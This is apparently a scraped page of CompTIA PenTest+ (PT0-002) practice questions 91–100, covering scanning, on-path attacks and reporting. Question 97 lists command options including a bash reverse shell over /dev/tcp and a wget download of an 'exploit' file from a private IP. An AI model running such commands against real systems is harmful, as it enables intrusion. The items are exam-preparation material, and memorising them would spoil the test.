Home / CompTIA / PT0-002

CompTIA PT0-002 Practice Test - Questions Answers, Page 10

Question list

List of questions

Question 91

(0)

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

Question 92

(0)

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploit

Question 93

(0)

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods

Question 94

(0)

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

Question 95

(0)

A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are: Which

Question 96

(0)

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST suppor

Question 97

(0)

A penetration tester ran the following command on a staging server: python -m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machi

Question 98

(0)

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the firs

Question 99

(0)

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including fu

Question 100

(0)

Which of the following is the MOST effective person to validate results from a penetration test?

Question 91

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

will reveal vulnerabilities in the Modbus protocol.

may cause unintended failures in control systems.

may reduce the true positive rate of findings.

will create a denial-of-service condition on the IP networks.

Show Answer Comment (0)

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

OpenVAS

Drozer

Burp Suite

OWASP ZAP

Show Answer Comment (0)

Question 93

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

Wait for the next login and perform a downgrade attack on the server.

Capture traffic using Wireshark.

Perform a brute-force attack over the server.

Use an FTP exploit against the server.

Show Answer Comment (0)

Question 94

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

Acceptance by the client and sign-off on the final report

Scheduling of follow-up actions and retesting

Attestation of findings and delivery of the report

Review of the lessons learned during the engagement

Show Answer Comment (0)

Question 95

A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

Edit the discovered file with one line of code for remote callback

Download .pl files and look for usernames and passwords

Edit the smb.conf file and upload it to the server

Download the smb.conf file and look at configurations

Show Answer Comment (0)

Question 96

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

Socat

tcpdump

Scapy

dig

Show Answer Comment (0)

Question 97

A penetration tester ran the following command on a staging server:

python -m SimpleHTTPServer 9891

Which of the following commands could be used to download a file named exploit to a target machine for execution?

nc 10.10.51.50 9891 < exploit

powershell -exec bypass -f \\10.10.51.50\9891

bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit

wget 10.10.51.50:9891/exploit

Show Answer Comment (0)

Question 98

Show Answer Comment (0)

Question 99

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name- serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?

Create a custom password dictionary as preparation for password spray testing.

Recommend using a password manage/vault instead of text files to store passwords securely.

Recommend configuring password complexity rules in all the systems and applications.

Document the unprotected file repository as a finding in the penetration-testing report.

Show Answer Comment (0)